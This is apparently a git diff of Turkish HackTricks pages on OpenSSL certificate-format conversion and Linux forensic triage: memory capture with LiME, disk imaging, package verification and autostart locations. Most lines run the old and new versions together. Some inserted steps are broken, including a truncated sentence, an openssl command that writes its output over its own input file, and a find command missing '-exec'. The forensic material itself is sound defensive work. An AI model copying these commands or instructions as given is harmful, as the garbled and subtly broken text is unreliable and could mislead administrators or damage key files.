4. OpenSSL aracını kullanarak DER formatındaki sertifikayı PEM formatına dönüştürün. Aşağıdaki komutu kullanabilirsiniz:
```plaintext
openssl x509 -inform der -in certificate.cer -out certificate.pem
```
Burada `certificate.cer`, kaydettiğiniz DER formatındaki sertifika dosyasının adıdır.
5. Dönüştürülen PEM formatındaki sertifikayı kullanabilirsiniz.
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
- **PEM'dan P7B'ye** * **PEM'den P7B'ye**
PEM formatındaki bir sertifikayı P7B formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
1. OpenSSL aracını kullanarak PEM dosyasını P7B formatına dönüştürmek için aşağıdaki komutu çalıştırın:
```plaintext
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b -certfile ca.pem
```
- `certificate.pem`: Dönüştürmek istediğiniz PEM dosyasının adı.
- `certificate.p7b`: Dönüştürülen P7B dosyasının adı.
- `ca.pem`: Kök sertifikaların bulunduğu PEM dosyasının adı (isteğe bağlı).
2. Komutu çalıştırdıktan sonra, PEM dosyası P7B formatına dönüştürülecektir. Dönüştürülen P7B dosyasını kullanabilirsiniz.
Bu adımları takip ederek, PEM formatındaki bir sertifikayı P7B formatına dönüştürebilirsiniz.
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
- **PKCS7'yi PEM'e dönüştürme** * **PKCS7'yi PEM'e dönüştürme**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için önemlidir: **PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için hayati öneme sahiptir:
- **PFX'ten PEM'e** * **PFX'ten PEM'e**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
- **PFX'i PKCS#8'e dönüştürme** iki adımdan oluşur: * **PFX to PKCS#8** iki adımdan oluşur:
1. PFX'i PEM'e dönüştürün. 1. PFX'i PEM'e dönüştürün
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEM'i PKCS8'e dönüştürmek 2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün.
PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
1. OpenSSL aracını kullanarak PEM dosyasınıın:
```plaintext
openssl rsa -in key.pem -outform PEM -out key.pem
```
2. PEM dosyasını PKCS8 formatına dönüştürün:
```plaintext
openssl pkcs8 -topk8 -inform PEM -outform DER -in key.pem -out key.pk8 -nocrypt
```
Bu adımları takip ederek PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürebilirsiniz.
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
- **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir: * **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir:
1. P7B'yi CER'ye dönüştürün. 1. P7B'yi CER'ye dönüştürün.
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CER ve Özel Anahtarı PFX'e Dönüştürme 2. CER ve Özel Anahtarı PFX'e Dönüştürün
Bir sertifika (.cer) ve özel anahtarını (.key) PFX formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
1. OpenSSL'i kullanarak bir PFX dosyası oluşturmak için aşağıdaki komutu çalıştırın:
```plaintext
openssl pkcs12 -export -in certificate.cer -inkey privatekey.key -out certificate.pfx
```
- `certificate.cer`: Dönüştürmek istediğiniz sertifika dosyasının adını ve yolunu belirtin.
- `privatekey.key`: Dönüştürmek istediğiniz özel anahtar dosyasının adını ve yolunu belirtin.
- `certificate.pfx`: Oluşturulacak PFX dosyasının adını ve yolunu belirtin.
2. Komutu çalıştırdıktan sonra, OpenSSL sizden bir PFX parolası girmenizi isteyecektir. Bu parolayı hatırlayın, çünkü PFX dosyasını kullanırken gerekecektir.
3. Parolayı girdikten sonra, OpenSSL PFX dosyasını oluşturacak ve belirttiğiniz ad ve yol ile kaydedecektir.
Artık CER ve özel anahtarınızı PFX formatında kullanabilirsiniz.
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,37 +1,37 @@
# Linux Dijital Delil İncelemesi # Linux Adli Bilişim
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** ile desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'i **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## İlk Bilgi Toplama ## Başlangıç Bilgi Toplama
### Temel Bilgiler ### Temel Bilgiler
İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini bu ikilileri kullanacak şekilde değiştirin: İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini değiştirerek bu ikilileri kullanın:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Sistem ayarlarını iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra, **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: Bir kez sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +51,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Şüpheli bilgiler #### Şüpheli bilgiler
Temel bilgileri elde ederken şunları kontrol etmelisiniz: Temel bilgileri elde ederken şu tür garip şeyleri kontrol etmelisiniz:
* **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz. - **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz
* `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin. - `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin
* Kabuğu olmayan kullanıcıların **şifre hash'lerini** `/etc/shadow` içinde kontrol edin. - `/etc/shadow` içinde kabuğu olmayan kullanıcılar için **şifre hash'lerini** kontrol edin
### Bellek Dökümü ### Bellek Dökümü
Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\ Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\
Onu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir. Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir.
{% hint style="info" %} {% hint style="info" %}
Unutmayın ki, kurban makineye LiME veya başka bir şey **kuramazsınız**, çünkü bunlar birçok değişiklik yapacaktır. Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır
{% endhint %} {% endhint %}
Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\ Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\
Diğer durumlarda, [**LiME**'yi](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **kesin çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayın ve ardından onları kullanarak LiME'yi **derleyin**: Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME 3 **formatı** destekler: LiME, 3 **formatı** destekler:
* Ham (her segment birleştirilmiş) * Ham (her segment bir araya getirilir)
* Dolgulu (ham ile aynı, ancak sağ bitlerde sıfır ile doldurulmuş) * Dolgulu (ham ile aynı, ancak sağ bitlerde sıfırlarla)
* Lime (metadata ile birlikte önerilen format) * Lime (metadata ile birlikte önerilen format)
LiME ayrıca, bunun yerine **dökümü ağ üzerinden göndermek** için kullanılabilir, örneğin: `path=tcp:4444` LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** için şöyle bir şey kullanılabilir: `path=tcp:4444`
### Disk Görüntüleme ### Disk Görüntüleme
#### Kapatma #### Kapatma
Öncelikle, **sistemi kapatmanız** gerekecektir. Bu her zaman bir seçenek olmayabilir, çünkü sistem bazen şirketin kapatamayacağı bir üretim sunucusu olabilir.\ Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak kadar önemli bir sunucu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, biri **normal kapatma** diğeri ise **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda **mümkün olan kötü amaçlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **kötü amaçlı yazılımın buna karşı yapabileceği bir şey olmayacaktır**. Bu nedenle, bir **kötü amaçlı yazılım** olabileceğinden şüpheleniyorsanız, sistemin üzerinde **`sync`** **komutunu** çalıştırın ve fişi çekin. Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskin bir görüntüsünü almak #### Diskten bir görüntü almak
Önemli bir nokta, **bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız gerektiğidir**. Bilgisayarınızı **dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız önemlidir**.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -153,40 +153,39 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16 icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret ThisisTheMasterSecret
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bilinen Kötü Amaçlı Yazılımları Arama ## Bilinen Kötü Amaçlı Yazılımları Arayın
### Değiştirilmiş Sistem Dosyaları ### Değiştirilmiş Sistem Dosyaları
Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar. Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar.
- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. * **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından herhangi bir sorunu belirlemek için `debsums | grep -v "OK$"` (apt-get install debsums ile `debsums`'ı yükledikten sonra) kullanın. * **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın.
### Kötü Amaçlı Yazılım/Kökkit Tespit Araçları ### Kötü Amaçlı Yazılım/Rootkit Tespitçileri
Kötü amaçlı yazılım bulmak için kullanışlı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
{% endcontent-ref %} {% endcontent-ref %}
## Yüklenmiş Programları Arama ## Yüklenmiş Programları Arayın
Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını yanı sıra ortak dizinlerde manuel kontrol yapmayı düşünebilirsiniz. Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün.
- Debian için, paket kurulumları hakkında ayrıntıları almak için **_`/var/lib/dpkg/status`_** ve **_`/var/log/dpkg.log`_** dosyalarını inceleyin ve belirli bilgileri filtrelemek için `grep` kullanın. * Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın.
* RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` komutunu kullanarak RPM veritabanını sorgulayabilirler. Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmeyen yürütülebilir dosyaları tanımlamak için arama işleminizi geliştirin.
Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları ortaya çıkarmak için **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, ve **_`/sbin`_** gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarıyla birleştirerek, bilinen paketlere bağlı olmayan yürütülebilir dosyaları belirlemek için arama sürecinizi geliştirin.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -202,31 +201,25 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files # Find exacuable files
find / -type f -executable | grep <something> find / -type f -executable | grep <something>
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Silinen Çalışan İkili Dosyaları Kurtarma ## Silinen Çalışan İkili Dosyaları Kurtarın
/tmp/exec dizininden çalıştırılan ve silinen bir işlem hayal edin. Bunun çıkarılması mümkündür. /tmp/exec dizininden çalıştırılan ve silinen bir işlemi hayal edin. Bu çıkarılabilir.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
``` ```
## Otomatik Başlatma Konumlarını İnceleyin
### Zamanlanmış Görevler ### Zamanlanmış Görevler
Zamanlanmış görevler, Linux sistemlerde otomatik olarak çalıştırılan görevlerdir. Bu görevler, belirli bir zaman veya olaya bağlı olarak çalıştırılabilir. Zamanlanmış görevlerin listesini görmek için aşağıdaki komutu kullanabilirsiniz:
```bash
crontab -l
```
Bu komut, mevcut kullanıcıya ait zamanlanmış görevleri listeler.
```bash ```bash
cat /var/spool/cron/crontabs/* \ cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \ /var/spool/cron/atjobs \
@ -242,22 +235,21 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### Hizmetler ### Hizmetler
Kötü amaçlı yazılımın hizmet olarak kurulabileceği yollar: Bir kötü amaçlı yazılımın yüklenebileceği hizmetlerin bulunduğu yollar:
- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırarak başlatma betiklerine yönlendirir. - **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir.
- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma için betikleri içerir, ikincisi eski Linux sürümlerinde bulunur. - **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur.
- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır. - **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır.
- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak. - Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir.
- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. - **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin.
- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı bir çalışma düzeyinde başlatılması gereken hizmetlere bağlantılar içerir. - **/etc/systemd/system/multi-user.target.wants/**: Çoklu kullanıcı çalışma düzeyinde başlatılması gereken hizmetlere bağlantıları içerir.
- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için. - **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için.
- **~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılım için bir saklanma noktası olabilir. - **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenmesi için bir saklanma noktası olabilir.
- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyalarını içerir. - **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyaları.
### Çekirdek Modülleri ### Çekirdek Modülleri
Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır: Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıa kullanılan Linux çekirdek modülleri, sistem başlangıcında yüklenir. Bu modüller için kritik olan dizinler ve dosyalar şunlardır:
- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri içerir. - **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri içerir.
- **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir. - **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir.
@ -265,70 +257,70 @@ Kötü amaçlı yazılım tarafından kök kiti bileşeni olarak sıklıkla kull
### Diğer Otomatik Başlatma Konumları ### Diğer Otomatik Başlatma Konumları
